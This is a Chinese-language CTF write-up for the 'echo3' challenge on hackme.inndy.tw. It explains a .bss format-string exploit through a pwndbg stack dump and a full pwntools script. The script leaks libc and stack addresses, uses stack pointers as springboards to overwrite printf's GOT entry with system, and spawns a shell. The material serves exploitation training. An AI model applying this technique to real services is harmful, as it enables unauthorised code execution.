idea
这道题的利用方式虽然也是格式化字符串,但是不在 stack 上而是在 bss 段,所以利用的方式也会变得复杂,不能直接修改指定位置的内存值,而是要构造一个 “跳板” 来实现任意位置的写。在 main 函数中还有一个坑:程式会取一个随机数用 alloca 函数来随机化栈地址,所以需要先泄漏一下栈地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { void *v3; int fd; int buf; unsigned int v6; int *v7;
v7 = &argc; v6 = __readgsdword(0x14u); setbuf(stdout, 0); fd = open("/dev/urandom", 0); if ( fd < 0 ) { puts("urandom error"); exit(1); } read(fd, &buf, 8u); read(fd, &magic, 4u); close(fd); v3 = alloca(16 * (((buf & 0x3039u) + 30) / 0x10)); hardfmt(); }
|
还有一点需要知道:不同 libc 加载程序时生成的栈帧会有所不同,每次加载的函数也有所不同,所以要找到 printf 时栈变量比较丰富的情况。
这是我本地 printf 时栈的情况,泄漏 33 偏移的地址可以得到 libc_base 的地址,然后就需要找跳板了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| pwndbg> stack 100 00:0000│ esp 0xffa5b7d0 —▸ 0x804a080 (buff) ◂— 0x31373425 ('%471') ... ↓ 02:0008│ 0xffa5b7d8 ◂— 0x1000 03:000c│ 0xffa5b7dc —▸ 0xf7f94530 —▸ 0x8048312 ◂— inc edi /* 'GLIBC_2.0' */ 04:0010│ 0xffa5b7e0 ◂— 0x8b2e2ff5 05:0014│ 0xffa5b7e4 ◂— 0x1 06:0018│ 0xffa5b7e8 ◂— 0x0 07:001c│ 0xffa5b7ec —▸ 0xf7e3e1b8 (setbuffer+200) ◂— add esp, 0x10 08:0020│ 0xffa5b7f0 —▸ 0xf7f90d60 (_IO_2_1_stdout_) ◂— 0xfbad2887 09:0024│ 0xffa5b7f4 ◂— 0x0 ... ↓ 0b:002c│ 0xffa5b7fc —▸ 0x80485d2 (hardfmt+12) ◂— add ebx, 0x1a2e 0c:0030│ 0xffa5b800 —▸ 0xf7fbe000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f3c 0d:0034│ 0xffa5b804 ◂— 0x1 0e:0038│ 0xffa5b808 —▸ 0xffa5b7e0 ◂— 0x8b2e2ff5 0f:003c│ 0xffa5b80c ◂— 0x227e6600 10:0040│ 0xffa5b810 —▸ 0xffa5b84e ◂— 0x30804 11:0044│ 0xffa5b814 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1 12:0048│ ebp 0xffa5b818 —▸ 0xffa5b898 ◂— 0x0 13:004c│ 0xffa5b81c —▸ 0x804877b (main+236) ◂— mov eax, 0 14:0050│ 0xffa5b820 —▸ 0xf7fa87eb (_dl_fixup+11) ◂— add esi, 0x15815 15:0054│ 0xffa5b824 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1 16:0058│ 0xffa5b828 —▸ 0xf7f90000 ◂— 0x1b1db0 ... ↓ 18:0060│ 0xffa5b830 —▸ 0xffa5b898 ◂— 0x0 19:0064│ 0xffa5b834 —▸ 0xf7faf010 (_dl_runtime_resolve+16) ◂— pop edx 1a:0068│ 0xffa5b838 ◂— 0x4 1b:006c│ 0xffa5b83c —▸ 0xffa5b898 ◂— 0x0 1c:0070│ 0xffa5b840 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1 1d:0074│ 0xffa5b844 —▸ 0x804a060 (magic) ◂— 0x8b2e2ff5 1e:0078│ 0xffa5b848 —▸ 0xf7eb43ac (close+28) ◂— mov ebx, edx 1f:007c│ 0xffa5b84c —▸ 0x804874a (main+187) ◂— add esp, 0x10 20:0080│ 0xffa5b850 ◂— 0x3 21:0084│ 0xffa5b854 —▸ 0x804a060 (magic) ◂— 0x8b2e2ff5 22:0088│ 0xffa5b858 ◂— 0x4 23:008c│ 0xffa5b85c —▸ 0x80486a6 (main+23) ◂— add ebx, 0x195a 24:0090│ 0xffa5b860 ◂— 0x8000 25:0094│ 0xffa5b864 —▸ 0xf7f90000 ◂— 0x1b1db0 26:0098│ 0xffa5b868 —▸ 0xffa5b94c —▸ 0xffa5bfd1 ◂— 0x505f444c ('LD_P') 27:009c│ 0xffa5b86c —▸ 0xffa5b944 —▸ 0xffa5bfc9 ◂— './echo3' 28:00a0│ 0xffa5b870 ◂— 0x1 29:00a4│ 0xffa5b874 ◂— 0x0 2a:00a8│ 0xffa5b878 —▸ 0xffa5b94c —▸ 0xffa5bfd1 ◂— 0x505f444c ('LD_P') 2b:00ac│ 0xffa5b87c ◂— 0x3 2c:00b0│ 0xffa5b880 ◂— 0x602347f4 2d:00b4│ 0xffa5b884 ◂— 0x14bce083 2e:00b8│ 0xffa5b888 —▸ 0xffa5b94c —▸ 0xffa5bfd1 ◂— 0x505f444c ('LD_P') 2f:00bc│ 0xffa5b88c ◂— 0x227e6600 30:00c0│ 0xffa5b890 —▸ 0xffa5b8b0 ◂— 0x1 31:00c4│ 0xffa5b894 ◂— 0x0 ... ↓ 33:00cc│ 0xffa5b89c —▸ 0xf7df6637 (__libc_start_main+247) ◂— add esp, 0x10 34:00d0│ 0xffa5b8a0 —▸ 0xf7f90000 ◂— 0x1b1db0 ... ↓ 36:00d8│ 0xffa5b8a8 ◂— 0x0 37:00dc│ 0xffa5b8ac —▸ 0xf7df6637 (__libc_start_main+247) ◂— add esp, 0x10 38:00e0│ 0xffa5b8b0 ◂— 0x1 39:00e4│ 0xffa5b8b4 —▸ 0xffa5b944 —▸ 0xffa5bfc9 ◂— './echo3' 3a:00e8│ 0xffa5b8b8 —▸ 0xffa5b94c —▸ 0xffa5bfd1 ◂— 0x505f444c ('LD_P') 3b:00ec│ 0xffa5b8bc ◂— 0x0 ... ↓ 3e:00f8│ 0xffa5b8c8 —▸ 0xf7f90000 ◂— 0x1b1db0 3f:00fc│ 0xffa5b8cc —▸ 0xf7fbec04 ◂— 0x0 40:0100│ 0xffa5b8d0 —▸ 0xf7fbe000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f3c 41:0104│ 0xffa5b8d4 ◂— 0x0 42:0108│ 0xffa5b8d8 —▸ 0xf7f90000 ◂— 0x1b1db0 ... ↓ 44:0110│ 0xffa5b8e0 ◂— 0x0 45:0114│ 0xffa5b8e4 ◂— 0x8c714019 46:0118│ 0xffa5b8e8 ◂— 0x79cbce09 47:011c│ 0xffa5b8ec ◂— 0x0 ... ↓ 4a:0128│ 0xffa5b8f8 ◂— 0x1 4b:012c│ 0xffa5b8fc —▸ 0x80484b0 (_start) ◂— xor ebp, ebp 4c:0130│ 0xffa5b900 ◂— 0x0 4d:0134│ 0xffa5b904 —▸ 0xf7faf010 (_dl_runtime_resolve+16) ◂— pop edx 4e:0138│ 0xffa5b908 —▸ 0xf7fa9880 (_dl_fini) ◂— push ebp 4f:013c│ 0xffa5b90c —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1 50:0140│ 0xffa5b910 ◂— 0x1 51:0144│ 0xffa5b914 —▸ 0x80484b0 (_start) ◂— xor ebp, ebp 52:0148│ 0xffa5b918 ◂— 0x0 53:014c│ 0xffa5b91c —▸ 0x80484e2 (_start+50) ◂— hlt 54:0150│ 0xffa5b920 —▸ 0x804868f (main) ◂— lea ecx, [esp + 4] 55:0154│ 0xffa5b924 ◂— 0x1 56:0158│ 0xffa5b928 —▸ 0xffa5b944 —▸ 0xffa5bfc9 ◂— './echo3' 57:015c│ 0xffa5b92c —▸ 0x80487a0 (__libc_csu_init) ◂— push ebp 58:0160│ 0xffa5b930 —▸ 0x8048800 (__libc_csu_fini) ◂— ret 59:0164│ 0xffa5b934 —▸ 0xf7fa9880 (_dl_fini) ◂— push ebp 5a:0168│ 0xffa5b938 —▸ 0xffa5b93c —▸ 0xf7fbe918 ◂— 0x0 5b:016c│ 0xffa5b93c —▸ 0xf7fbe918 ◂— 0x0 5c:0170│ 0xffa5b940 ◂— 0x1 5d:0174│ 0xffa5b944 —▸ 0xffa5bfc9 ◂— './echo3' 5e:0178│ 0xffa5b948 ◂— 0x0 5f:017c│ 0xffa5b94c —▸ 0xffa5bfd1 ◂— 0x505f444c ('LD_P') 60:0180│ 0xffa5b950 ◂— 0x0 61:0184│ 0xffa5b954 ◂— 0x20 /* ' ' */ 62:0188│ 0xffa5b958 —▸ 0xf7f98dc0 (__kernel_vsyscall) ◂— push ecx 63:018c│ 0xffa5b95c ◂— 0x21 /* '!' */
|
由于打远程的服务器,所以每次写两个字节。got 表的地址高地址的两字节都是一样的,可以直接写低两字节。
首先要找到 2 个指向栈中的地址

修改这两个地址的低两字节指向栈中指向和 got 表高字节相同的栈地址

exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * import time
elf = ELF('./echo3') libc = ELF('./libc-2.23.so.i386')
printf_got = elf.got['printf']
while True: t = remote('hackme.inndy.tw', 7720) payload = '%51$p.%14$p' t.sendline(payload) libc_start_main = t.recvuntil('.', drop = True) if libc_start_main[-3:] == '637': break t.close
libc_base = int(libc_start_main, 16) - libc.symbols['__libc_start_main'] - 0xf7 stack_base = int(t.recvuntil('\n', drop = True), 16) - 0x10 log.info('libc_base %x', libc_base) log.info('stack_base %x', stack_base) payload = '%' + str((stack_base + 0x2c) & 0xffff) + 'c%38$hn' payload += '%' + str( ((stack_base + 0x4c) & 0xffff) - ((stack_base + 0x2c) & 0xffff)) + 'c%39$hn' t.sendline(payload) sleep(1) payload = '%' + str(printf_got & 0xffff) + 'c%93$hn' payload += '%' + str(((printf_got + 2) & 0xffff ) - (printf_got & 0xffff)) + 'c%95$hn' t.sendline(payload) sleep(1) system = libc_base + libc.symbols['system']
payload = '%' + str(system & 0xffff) + 'c%19$hn' payload += '%' + str((system & 0xffff) - ((system >> 16) & 0xffff)) + 'c%11$hn' t.sendline(payload) sleep(1) t.sendline('/bin/sh\x00') t.interactive()
|
